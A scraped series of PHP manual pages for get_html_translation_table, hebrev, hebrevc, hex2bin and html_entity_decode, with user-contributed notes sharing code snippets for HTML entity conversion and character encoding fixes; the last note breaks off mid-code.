
get_html_translation_table

(PHP 4, PHP 5)

get_html_translation_table — Returns the translation table used by htmlspecialchars() and htmlentities()

Description

array get_html_translation_table ([ int $table = HTML_SPECIALCHARS [, int $quote_style = ENT_COMPAT [, string $charset_hint ]]] )

get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities() with the default charset.

Note:

Special characters can be encoded in several ways. E.g. " can be encoded as &quot;, &#34; or &#x22. get_html_translation_table() returns only the form used by htmlspecialchars() and htmlentities().

Parameters

table

There are two new constants (HTML_ENTITIES, HTML_SPECIALCHARS) that allow you to specify the table you want.

quote_style

Like the htmlspecialchars() and htmlentities() functions you can optionally specify the quote_style you are working with. See the description of these modes in htmlspecialchars().

charset_hint

Like htmlentities(), it takes an optional third argument charset which defines character set used in conversion. Presently, the ISO-8859-1 character set is used as the default.

Following character sets are supported in PHP 4.3.0 and later.

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian. This charset is supported in 4.3.2.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, 932 | Japanese
EUC-JP | EUCJP | Japanese
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

Return Values

Returns the translation table as an array.

Changelog

Version | Description
5.3.4 | The charset_hint parameter was added.

Examples

Example #1 Translation Table Example

<?php
$trans = get_html_translation_table(HTML_ENTITIES);
$str = "Hallo & <Frau> & Krämer";
$encoded = strtr($str, $trans);

echo $encoded;
?>

The above example will output:

Hallo &amp; &lt;Frau&gt; &amp; Kr&auml;mer

See Also

  • htmlspecialchars() - Convert special characters to HTML entities
  • htmlentities() - Convert all applicable characters to HTML entities
  • html_entity_decode() - Convert all HTML entities to their applicable characters

User Contributed Notes

michael dot genesis at gmail dot com 12-Dec-2011 03:01
The fact that MS-word and some other sources use CP-1252, and that it is so close to Latin1 ('ISO-8859-1') causes a lot of confusion. What confused me the most was finding that mySQL uses CP-1252 by default.

You may run into trouble if you find yourself tempted to do something like this:
<?php
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
?>

Don't do it. DON'T DO IT!

You can use:
<?php
    $translationTable = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES, 'WINDOWS-1252');
?>

or just convert directly:
<?php
    $output = htmlentities($input, ENT_NOQUOTES, 'WINDOWS-1252');
?>

But your web page is probably encoded UTF-8, and you probably don't really want CP-1252 text flying around, so fix the character encoding first:
<?php
    $output = mb_convert_encoding($input, 'UTF-8', 'WINDOWS-1252');
    $ouput = htmlentities($output);
?>
kevin at cwsmailbox dot xom 15-Sep-2010 09:55
Be careful using get_html_translation_table() in a loop, as it's very slow.
subweb007 at hotmail dot com 09-Apr-2009 01:29
This function will convert get_html_translation_table from a ISO-8859-1 string to UTF-8 string.

<?php
function translation_table_to_utf8($arTranslationtable)
{
    //loop through the array and convert everything both keys and values
    foreach($arTranslationtable as $charkey => $char)
    {
        $charkey = utf8_encode($charkey);
        $arUTFchars[$charkey]= utf8_encode($char);
    }
     return $arUTFchars;
}

//get the translation table
$arSpecialchar     = get_html_translation_table(HTML_ENTITIES);

//call the function to convert to utf-8
$arUTFchars = translation_table_to_utf8($arSpecialchar);
print_r($arUTFchars);
?>
Kenneth Kin Lum 23-Sep-2008 05:54
to display the mapping on a webpage no matter what the server encoding is, this can be used

  echo "<pre>\n";
  echo htmlentities(print_r((get_html_translation_table(HTML_SPECIALCHARS)), true));
  echo htmlentities(print_r((get_html_translation_table(HTML_ENTITIES)), true));

since get_html_translation_table() actually gives the special chars in iso-8859-1 (Latin-1) encoding, so to see the tables correctly using

  print_r(get_html_translation_table(HTML_ENTITIES));

your server needs to give a HTTP header as iso-8859-1, unless you use header() or manually set the browser's encoding setting to iso-8859-1.  And you need to view the source of the page to see the mapping.  (except English version of IE 7 outputs the page source as iso-8859-1 anyway).
robertn972 at gmail dot com 22-Jul-2008 08:18
I found this useful in converting latin characters

<?php
function convertLatin1ToHtml($str) {
$allEntities = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES);
$specialEntities = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);
$noTags = array_diff($allEntities, $specialEntities);
$str = strtr($str, $noTags);
return $str;
}
?>
adolfoabegg at gmail dot com 03-Jul-2008 12:47
"rafael at phpit dot com dot br" your solution only works for the ISO-8859-1 encoding, I mean, it works but only for that encoding and that's because get_html_translation_table won't let you specify the charset... it uses the default one, that is ISO-8859-1

The solution from "olito24 at gmx dot de" does work for UTF-8, I just modified it a bit specifying the UTF-8 charset, also the $str parameter wasn't being used at all, I just renamed it to $string

Note:
Change ENT_NOQUOTES to ENT_QUOTES to convert both double and single quotes

These are the functions to encode html but tags using UTF-8 and ISO-8859-1

<?php

class Html
{

/*by olito24 at gmx dot de*/
    function htmlButTags($string) {

        $pattern = '<([a-zA-Z0-9\. "\'_\/-=;\(\)?&#%]+)>';
        preg_match_all ('/' . $pattern . '/', $string, $tagMatches, PREG_SET_ORDER);
        $textMatches = preg_split ('/' . $pattern . '/', $string);

        foreach ($textMatches as $key => $value) {
            $textMatches [$key] = htmlentities ($value, ENT_NOQUOTES, 'UTF-8');
        }

        for ($i = 0; $i < count ($textMatches); $i ++) {
            $textMatches [$i] = $textMatches [$i] . $tagMatches [$i] [0];
        }

        return implode ($textMatches);

    }

/*by "rafael at phpit dot com dot br" */
    function htmlButTags_iso($str){
        // Take all the html entities
        $caracteres = get_html_translation_table(HTML_ENTITIES,ENT_NOQUOTES);
        // Find out the "tags" entities
        $remover = get_html_translation_table(HTML_SPECIALCHARS,ENT_NOQUOTES);
        // Spit out the tags entities from the original table
        $caracteres = array_diff($caracteres, $remover);
        // Translate the string....
        $str = strtr($str, $caracteres);
        // And that's it!
        return $str;
    }

}

?>
Liam Morland 16-Jun-2008 08:57
Here is a simple way to convert named character entities to numeric character entities:

<?php
function numeric_entities($string){
    $mapping = array();
    foreach (get_html_translation_table(HTML_ENTITIES, ENT_QUOTES) as $char => $entity){
        $mapping[$entity] = '&#' . ord($char) . ';';
    }
    return str_replace(array_keys($mapping), $mapping, $string);
}
?>
iain (duh) workingsoftware.com.au 07-Sep-2007 02:06
I wrote a quick little function for converting something like '&middot;' into '&#183;':

$to_convert = '&middot;';
$table = get_html_translation_table(HTML_ENTITIES);
$equiv = '&#'.ord(array_search($to_convert,$table)).';';
Maurizio Siliani at trident dot it 20-Jul-2007 08:43
If you have troubles (like me) getting data from ISO-8859-1 encoded forms where user copy and paste from word, this routine could be useful.
It adds to the standard get_html_translation_table the codes of the characters usually M$ Word replacs into typed text.
Otherwise those characters would never be displayed correctly in html output.

function get_html_translation_table_CP1252() {
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
    $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
    $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
    $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
    $trans[chr(134)] = '&dagger;';    // Dagger
    $trans[chr(135)] = '&Dagger;';    // Double Dagger
    $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
    $trans[chr(137)] = '&permil;';    // Per Mille Sign
    $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
    $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
    $trans[chr(140)] = '&OElig;    ';    // Latin Capital Ligature OE
    $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
    $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
    $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
    $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
    $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
    $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
    $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
    $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
    ksort($trans);
    return $trans;
}
yes at king22 dot com 10-Apr-2007 08:33
Searching for a fast replacement of the MS WORD special characters which are not covered by get_html_translation_table() , I think the following function might help someone

<?php
function clean_up($str){
$str = stripslashes($str);
$str = strtr($str, get_html_translation_table(HTML_ENTITIES));
$str = str_replace( array("\x82", "\x84", "\x85", "\x91", "\x92", "\x93", "\x94", "\x95", "\x96",  "\x97"), array("&#8218;", "&#8222;", "&#8230;", "&#8216;", "&#8217;", "&#8220;", "&#8221;", "&#8226;", "&#8211;", "&#8212;"),$str);
return $str;
}
?>

It replaces all types of quotes (single and double), horizontal ellipsis (...), bullet, en dash and em dash.
chris 21-Feb-2007 05:49
A lot of quite common characters (or at least not rare, like oelig, euro or minus) are missing from the table unfortunately.
Here are some, if you want to make your translation table more complete and your xml data less error-prone. Not sure why some characters have 2 codes, just use one. Here goes: '&apos;'=>'&#39;', '&minus;'=>'&#45;', '&circ;'=>'&#94;', '&tilde;'=>'&#126;', '&Scaron;'=>'&#138;', '&lsaquo;'=>'&#139;', '&OElig;'=>'&#140;', '&lsquo;'=>'&#145;', '&rsquo;'=>'&#146;', '&ldquo;'=>'&#147;', '&rdquo;'=>'&#148;', '&bull;'=>'&#149;', '&ndash;'=>'&#150;', '&mdash;'=>'&#151;', '&tilde;'=>'&#152;', '&trade;'=>'&#153;', '&scaron;'=>'&#154;', '&rsaquo;'=>'&#155;', '&oelig;'=>'&#156;', '&Yuml;'=>'&#159;', '&yuml;'=>'&#255;', '&OElig;'=>'&#338;', '&oelig;'=>'&#339;', '&Scaron;'=>'&#352;', '&scaron;'=>'&#353;', '&Yuml;'=>'&#376;', '&fnof;'=>'&#402;', '&circ;'=>'&#710;', '&tilde;'=>'&#732;', '&Alpha;'=>'&#913;', '&Beta;'=>'&#914;', '&Gamma;'=>'&#915;', '&Delta;'=>'&#916;', '&Epsilon;'=>'&#917;', '&Zeta;'=>'&#918;', '&Eta;'=>'&#919;', '&Theta;'=>'&#920;', '&Iota;'=>'&#921;', '&Kappa;'=>'&#922;', '&Lambda;'=>'&#923;', '&Mu;'=>'&#924;', '&Nu;'=>'&#925;', '&Xi;'=>'&#926;', '&Omicron;'=>'&#927;', '&Pi;'=>'&#928;', '&Rho;'=>'&#929;', '&Sigma;'=>'&#931;', '&Tau;'=>'&#932;', '&Upsilon;'=>'&#933;', '&Phi;'=>'&#934;', '&Chi;'=>'&#935;', '&Psi;'=>'&#936;', '&Omega;'=>'&#937;', '&alpha;'=>'&#945;', '&beta;'=>'&#946;', '&gamma;'=>'&#947;', '&delta;'=>'&#948;', '&epsilon;'=>'&#949;', '&zeta;'=>'&#950;', '&eta;'=>'&#951;', '&theta;'=>'&#952;', '&iota;'=>'&#953;', '&kappa;'=>'&#954;', '&lambda;'=>'&#955;', '&mu;'=>'&#956;', '&nu;'=>'&#957;', '&xi;'=>'&#958;', '&omicron;'=>'&#959;', '&pi;'=>'&#960;', '&rho;'=>'&#961;', '&sigmaf;'=>'&#962;', '&sigma;'=>'&#963;', '&tau;'=>'&#964;', '&upsilon;'=>'&#965;', '&phi;'=>'&#966;', '&chi;'=>'&#967;', '&psi;'=>'&#968;', '&omega;'=>'&#969;', '&thetasym;'=>'&#977;', '&upsih;'=>'&#978;', '&piv;'=>'&#982;', '&ensp;'=>'&#8194;', '&emsp;'=>'&#8195;', '&thinsp;'=>'&#8201;', '&zwnj;'=>'&#8204;', '&zwj;'=>'&#8205;', '&lrm;'=>'&#8206;', '&rlm;'=>'&#8207;', '&ndash;'=>'&#8211;', '&mdash;'=>'&#8212;', '&lsquo;'=>'&#8216;', '&rsquo;'=>'&#8217;', '&sbquo;'=>'&#8218;', '&ldquo;'=>'&#8220;', '&rdquo;'=>'&#8221;', '&bdquo;'=>'&#8222;', '&dagger;'=>'&#8224;', '&Dagger;'=>'&#8225;', '&bull;'=>'&#8226;', '&hellip;'=>'&#8230;', '&permil;'=>'&#8240;', '&prime;'=>'&#8242;', '&Prime;'=>'&#8243;', '&lsaquo;'=>'&#8249;', '&rsaquo;'=>'&#8250;', '&oline;'=>'&#8254;', '&frasl;'=>'&#8260;', '&euro;'=>'&#8364;'
chris 21-Feb-2007 05:49
and a few more :
'&image;'=>'&#8465;', '&weierp;'=>'&#8472;', '&real;'=>'&#8476;', '&trade;'=>'&#8482;', '&alefsym;'=>'&#8501;', '&larr;'=>'&#8592;', '&uarr;'=>'&#8593;', '&rarr;'=>'&#8594;', '&darr;'=>'&#8595;', '&harr;'=>'&#8596;', '&crarr;'=>'&#8629;', '&lArr;'=>'&#8656;', '&uArr;'=>'&#8657;', '&rArr;'=>'&#8658;', '&dArr;'=>'&#8659;', '&hArr;'=>'&#8660;', '&forall;'=>'&#8704;', '&part;'=>'&#8706;', '&exist;'=>'&#8707;', '&empty;'=>'&#8709;', '&nabla;'=>'&#8711;', '&isin;'=>'&#8712;', '&notin;'=>'&#8713;', '&ni;'=>'&#8715;', '&prod;'=>'&#8719;', '&sum;'=>'&#8721;', '&minus;'=>'&#8722;', '&lowast;'=>'&#8727;', '&radic;'=>'&#8730;', '&prop;'=>'&#8733;', '&infin;'=>'&#8734;', '&ang;'=>'&#8736;', '&and;'=>'&#8743;', '&or;'=>'&#8744;', '&cap;'=>'&#8745;', '&cup;'=>'&#8746;', '&int;'=>'&#8747;', '&there4;'=>'&#8756;', '&sim;'=>'&#8764;', '&cong;'=>'&#8773;', '&asymp;'=>'&#8776;', '&ne;'=>'&#8800;', '&equiv;'=>'&#8801;', '&le;'=>'&#8804;', '&ge;'=>'&#8805;', '&sub;'=>'&#8834;', '&sup;'=>'&#8835;', '&nsub;'=>'&#8836;', '&sube;'=>'&#8838;', '&supe;'=>'&#8839;', '&oplus;'=>'&#8853;', '&otimes;'=>'&#8855;', '&perp;'=>'&#8869;', '&sdot;'=>'&#8901;', '&lceil;'=>'&#8968;', '&rceil;'=>'&#8969;', '&lfloor;'=>'&#8970;', '&rfloor;'=>'&#8971;', '&lang;'=>'&#9001;', '&rang;'=>'&#9002;', '&loz;'=>'&#9674;', '&spades;'=>'&#9824;', '&clubs;'=>'&#9827;', '&hearts;'=>'&#9829;', '&diams;'=>'&#9830;'
Jérôme Jaglale 31-Dec-2006 11:43
htmlentities includes htmlspecialchars, so here's how to convert an UTF-8 string :
htmlentities($string, ENT_QUOTES, 'UTF-8');
zohar at zohararad dot com 04-Dec-2006 06:31
Another way of converting HTML entities into numeric entities to please XML parsers is using two arrays as conversion tables in a preg_replace function. The conversion table mechanism is based on Ryan's examples above.

<?php
function xmlEntities($s){
//build first an assoc. array with the entities we want to match
$table1 = get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);

//now build another assoc. array with the entities we want to replace (numeric entities)
foreach ($table1 as $k=>$v){
  $table1[$k] = "/$v/";
  $c = htmlentities($k,ENT_QUOTES,"UTF-8");
  $table2[$c] = "&#".ord($k).";";
}

//now perform a replacement using preg_replace
//each matched value in array 1 will be replaced with the corresponding value in array 2
$s = preg_replace($table1,$table2,$s);
return $s;
}
?>
trukin at gmail dot com 29-Oct-2006 11:25
There have been issues when hispanic websites or other websites dont use the corrent collision in mysql.

Some problems result that the accents (éä ... ) result in weird characters when a backup is done and restored later on. Or when database is changed to another one.

To fix this try something like this
function accents($text){
    foreach(get_html_translation_table(HTML_ENTITIES) as $a=>$b){
        $text = str_replace($a,$b,$text);
    }
    return $text;
}

and use as accents("Hello ....... WITH ACCENTS") and it will return the escaped string.
edwardzyang at thewritingpot dot com 23-Jul-2006 07:04
Quite disappointingly, get_html_translation_table() only gives the characters for ISO-8859-1, making it quite useless for UTF-8 or anything else like that (as a previous commenter noticed).
rbotzer at yahoo dot com 19-Jul-2005 02:10
The existance of html entities such as &quot; inside an xml node causes most xml parsers to throw an error.  The following function cleans an input string by converting html entities to valid unicode entities.

<?php

function htmlentities2unicodeentities ($input) {
  $htmlEntities = array_values (get_html_translation_table (HTML_ENTITIES, ENT_QUOTES));
  $entitiesDecoded = array_keys   (get_html_translation_table (HTML_ENTITIES, ENT_QUOTES));
  $num = count ($entitiesDecoded);
  for ($u = 0; $u < $num; $u++) {
    $utf8Entities[$u] = '&#'.ord($entitiesDecoded[$u]).';';
  }
  return str_replace ($htmlEntities, $utf8Entities, $input);
}
?>

So, an input of
Copyrights &copy; make &quot;me&quot; grin &reg;

outputs
Copyrights &#169; make &#34;me&#34; grin &#174;
Patrick nospam at nospam mesopia dot com 29-May-2005 07:00
Not sure what's going on here but I've run into a problem that others might face as well...

<?php

$translations = array_flip(get_html_translation_table(HTML_ENTITIES,ENT_QUOTES));

?>

returns the single quote ' as being equal to &#39; while

<?php

$translatedString = htmlentities($string,ENT_QUOTES);

?>
returns it as being equal to &#039;

I've had to do a specific string replacement for the time being... Not sure if it's an issue with the function or the array manipulation.

-Pat
Alex Minkoff 18-May-2005 04:30
If you want to display special HTML entities in a web browser, you can use the following code:

<?
$entities = get_html_translation_table(HTML_ENTITIES);
foreach ($entities as $entity) {
    $new_entities[$entity] = htmlspecialchars($entity);
}
echo "<pre>";
print_r($new_entities);
echo "</pre>";
?>

If you don't, the key name of each element will appear to be the same as the element content itself, making it look mighty stupid. ;)
ryan at ryancannon dot com 26-Jan-2005 02:05
In XML, you can't assume that the doctype will include the same character entity definitions as HTML. XML authors may require character references instead. The following two functions use get_html_translation_table() to encode data in numeric references. The second, optional argument can be used to substitute a different translation table.

function xmlcharacters($string, $trans='') {
    $trans=(is_array($trans))? $trans:get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);
    foreach ($trans as $k=>$v)
        $trans[$k]= "&#".ord($k).";";
    return strtr($string, $trans);
}
function xml_character_decode($string, $trans='') {
    $trans=(is_array($trans))? $trans:get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);
    foreach ($trans as $k=>$v)
        $trans[$k]= "&#".ord($k).";";
    $trans=array_flip($trans);
    return strtr($string, $trans);
}
pinkpanther at swissonline dot ch 28-Jul-2003 02:29
In case you want a 'htmlentities' function which prevents 'double' encoding of the ampersands of already present entities (&gt; => &amp;gt;), use this:

<?php
function htmlentities2($myHTML) {
   $translation_table=get_html_translation_table (HTML_ENTITIES,ENT_QUOTES);
   $translation_table[chr(38)] = '&';
   return preg_replace("/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,3};)/","&amp;" , strtr($myHTML, $translation_table));
}
?>
kevin_bro at hostedstuff dot com 03-Jan-2003 06:06
Alans version didn't seem to work right. If you're having the same problem consider using this slightly modified version instead:

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return preg_replace('/&#(\d+);/me',
      "chr('\\1')",$ret);
}
kumar at chicagomodular.com 28-Oct-2002 05:51
without heavy scientific analysis, this seems to work as a quick fix to making text originating from a Microsoft Word document display as HTML:

<?php
function DoHTMLEntities ($string)
    {
        $trans_tbl = get_html_translation_table (HTML_ENTITIES);

        // MS Word strangeness..
        // smart single/ double quotes:
        $trans_tbl[chr(145)] = '\'';
        $trans_tbl[chr(146)] = '\'';
        $trans_tbl[chr(147)] = '&quot;';
        $trans_tbl[chr(148)] = '&quot;';

                // Acute 'e'
        $trans_tbl[chr(142)] = '&eacute;';

        return strtr ($string, $trans_tbl);
    }
?>
alan at akbkhome dot com 03-Jun-2002 10:00
If you want to decode all those &#123; symbols as well....

function unhtmlentities ($string)  {
    $trans_tbl = get_html_translation_table (HTML_ENTITIES);
    $trans_tbl = array_flip ($trans_tbl);
    $ret = strtr ($string, $trans_tbl);
    return  preg_replace('/\&\#([0-9]+)\;/me',
        "chr('\\1')",$ret);
}
dirk at hartmann dot net 19-Jun-2001 01:41
get_html_translation_table
It works only with the first 256 Codepositions.
For Higher Positions, for Example &#1092;
(a kyrillic Letter) it shows the same.
fprintf
hebrev
String Functions


Convert logical Hebrew text to visual text

get_html_translation_table
hebrevc
String Functions
PHP Manual

hebrev

(PHP 4, PHP 5)

hebrev — Convert logical Hebrew text to visual text

Description

string hebrev ( string $hebrew_text [, int $max_chars_per_line = 0 ] )

Converts logical Hebrew text to visual text.

The function tries to avoid breaking words.

Parameters

hebrew_text

A Hebrew input string.

max_chars_per_line

This optional parameter indicates maximum number of characters per line that will be returned.

Return Values

Returns the visual string.

See Also

  • hebrevc() - Convert logical Hebrew text to visual text with newline conversion

User Contributed Notes

ti-tim-timmy 04-Apr-2009 03:25
udioron - exactly right. That reversed the string.
Thank you.
udioron at geeee mmmaaaaiiillll dotcom 01-Jan-2009 05:14
This might work for unicode strings:

<?php
$s = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $s)));
?>

Udi
socket at quotez dot org 29-Apr-2008 12:58
hebrev/hebrevc does not support unicode strings.

when using the GD lib and imagettftext() with hebrew text you must reverse the chars before sending it to the function.

so there is a need for hebrev/c with unicode support.
nis at superlativ dot dk 04-Dec-2006 12:34
In response to the user talking of "characters in the range of ASCII 224-251". These codes are not defined in ASCII. You are probably talking about one of the extensions to ASCII, probably ISO-8859-8
tinko 14-Dec-2004 03:46
From my experience in using hebrev text in HTML, I prefer using

<html dir="rtl" lang="he">

over mentioned PHP functions. It works perfectly with IE 6 ... needs some tweaking in Mozilla though.

I found this site http://tlt.its.psu.edu/suggestions/international/web/tips/align.html useful.
socket at linuxloony dot net 03-Apr-2004 06:17
The hebrev function changes the string order to RTL.
Use fribidi_log2vis insted if you need LTR text direction
$text = fribidi_log2vis($text,FRIBIDI_LTR, FRIBIDI_CHARSET_CP1255)
php2eran at tromer dot org 01-Jun-2001 04:35
As of PHP 4.05 there's a problem in the handling of the characters '{}[]<>' compared to MSIE. Note that normal parenthesis '()' are OK.

For further information see http://www.php.net/bugs.php?id=11244 .
zak at php dot net 09-Jan-2001 03:39
hebrev() changes the flow of any Hebrew characters in a string from right-to-left to left-to-right.

It only affects characters within the range of ASCII 224-251 (except for punctuation).
get_html_translation_table
hebrevc
String Functions


Convert logical Hebrew text to visual text with newline conversion

hebrev
hex2bin
String Functions
PHP Manual

hebrevc

(PHP 4, PHP 5)

hebrevc — Convert logical Hebrew text to visual text with newline conversion

Description

string hebrevc ( string $hebrew_text [, int $max_chars_per_line = 0 ] )

This function is similar to hebrev() with the difference that it converts newlines (\n) to "<br>\n".

The function tries to avoid breaking words.

Parameters

hebrew_text

A Hebrew input string.

max_chars_per_line

This optional parameter indicates maximum number of characters per line that will be returned.

Return Values

Returns the visual string.

See Also

  • hebrev() - Convert logical Hebrew text to visual text

User Contributed Notes

Oded 03-Jul-2009 03:57
If you want to use hebrevc with english,
just use strrev.
yfurman at yahoo dot com 10-Dec-2001 04:41
Beware of English use!
I was working on a little project, and used hebrevc to reverse Hebrew in a loop. The hebrevc function got a variable as an argument. Sometimes the variable was pure English and sometimes it was hebrew.
Suddenly I found out that the English too was cut with BR tags, which made it look funny - the last line was the first.

If you're going to use that function in mixed text, don't forget to check the language before using the function.

Yael
hebrev
hex2bin
String Functions


Convert hex to binary

hebrevc
html_entity_decode
String Functions
PHP Manual

hex2bin

(No version information available, might only be in SVN)

hex2bin — Convert hex to binary

Description

string hex2bin ( string $data )

Converts the hex representation of data to binary

Parameters

data

Hexadecimal representation of data.

Return Values

Returns the binary representation of the given data.

Examples

Example #1 hex2bin() example

<?php
$hex = hex2bin("6578616d706c65206865782064617461");
var_dump($hex);
?>

The above example will output something similar to:

string(16) "example hex data"

See Also

  • bin2hex() - Convert binary data into hexadecimal representation
  • unpack() - Unpack data from binary string

User Contributed Notes

Anonymous 31-Aug-2011 01:32
The function hex2bin does not exist in PHP5.
You can use 'pack' instead :

$binary_string = pack("H*" , $hex_string);
hebrevc
html_entity_decode
String Functions


Convert all HTML entities to their applicable characters

hex2bin
htmlentities
String Functions
PHP Manual

html_entity_decode

(PHP 4 >= 4.3.0, PHP 5)

html_entity_decode — Convert all HTML entities to their applicable characters

Description

string html_entity_decode ( string $string [, int $quote_style = ENT_COMPAT [, string $charset = 'UTF-8' ]] )

html_entity_decode() is the opposite of htmlentities() in that it converts all HTML entities to their applicable characters from string.

Parameters

string

The input string.

quote_style

The optional second quote_style parameter lets you define what will be done with 'single' and "double" quotes. It takes on one of three constants:

Available quote_style constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.

charset

This defines the character set used in conversion. Using an empty string will activate automatic detection based on mbstring's internal encoding and current locale.

Following character sets are supported in PHP 4.3.0 and later.

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset. This charset is supported in 4.3.2.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian. This charset is supported in 4.3.2.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, 932 | Japanese
EUC-JP | EUCJP | Japanese
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

Return Values

Returns the decoded string.

Changelog

Version | Description
5.4.0 | Default charset changed from ISO-8859-1 to UTF-8.
5.0.0 | Support for multi-byte character sets was added.

Examples

Example #1 Decoding HTML entities

<?php
$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now

echo $b; // I'll "walk" the <b>dog</b> now

// For users prior to PHP 4.3.0 you may do this:
function unhtmlentities($string)
{
    // replace numeric entities
    $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
    $string = preg_replace('~&#([0-9]+);~e', 'chr("\\1")', $string);
    // replace literal entities
    $trans_tbl = get_html_translation_table(HTML_ENTITIES);
    $trans_tbl = array_flip($trans_tbl);
    return strtr($string, $trans_tbl);
}

$c = unhtmlentities($a);

echo $c; // I'll "walk" the <b>dog</b> now

?>

Notes

Note:

You might wonder why trim(html_entity_decode('&nbsp;')); doesn't reduce the string to an empty string, that's because the '&nbsp;' entity is not ASCII code 32 (which is stripped by trim()) but ASCII code 160 (0xa0) in the default ISO 8859-1 characterset.

See Also

  • htmlentities() - Convert all applicable characters to HTML entities
  • htmlspecialchars() - Convert special characters to HTML entities
  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities
  • urldecode() - Decodes URL-encoded string

User Contributed Notes

Victor 14-Dec-2011 06:22
We were having very peculiar behavior regarding foreign characters such as e-acute.

However, it was only showing up as a problem when extracting those characters out of our mysql database and when being displayed through a proxy server of ours that handles dns issues.

As other users have made a note of, the default character setting wasn't what they were expecting it to be when they left theirs blank.

When we changed our default_charset to "UTF-8", our problems and needs for using functions like these were no longer necessary in handling foreign characters such as e-acute. Good enough for us!
Martin 26-Jun-2011 04:37
If you need something that converts &#[0-9]+ entities to UTF-8, this is simple and works:

<?php
/* Entity crap. /
$input = "Fovi&#269;";

$output = preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);

/* Plain UTF-8. */
echo $output;
?>
John_Schlick at hotmail dot com 16-Feb-2011 02:39
BE AWARE:  The documentation around the default charset might be wrong.

The changelog says:
5.3.3     Default charset changed from ISO-8859-1 to UTF-8.

Despite the fact that we are running 5.3.3-7 when we do

html_entity_decode("&nbsp;", ENT_QUOTES);
we get "\xa0" the ISO-8859-1 version of a non breaking space.

When we change this to:
html_entity_decode("&nbsp;", ENT_QUOTES, 'UTF-8');
we properly get "\xc2\xa0"

Implying that 'UTF-8' is NOT the default for our installation of php.
neurotic dot neu at gmail dot com 10-Aug-2010 12:25
This is a safe rawurldecode with utf8 detection:

<?php
function utf8_rawurldecode($raw_url_encoded){
    $enc = rawurldecode($raw_url_encoded);
    if(utf8_encode(utf8_decode($enc))==$enc){;
